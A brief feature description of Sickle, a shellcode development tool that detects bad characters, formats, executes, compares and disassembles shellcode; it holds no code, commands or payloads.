Sickle is a shellcode development tool, created to speed up the various steps needed to create functioning shellcode.

Sickle can aid in the following:
– Identifying instructions resulting in bad characters
– Format output in various languages (python, perl, javascript, etc)
– Accept shellcode via stdin and format it / detect bad characters
– Execute shellcode in both Windows and Linux environments
– Compare reversed shellcode to original
– Disassemble shellcode into assembly language (ARM, x86, etc)
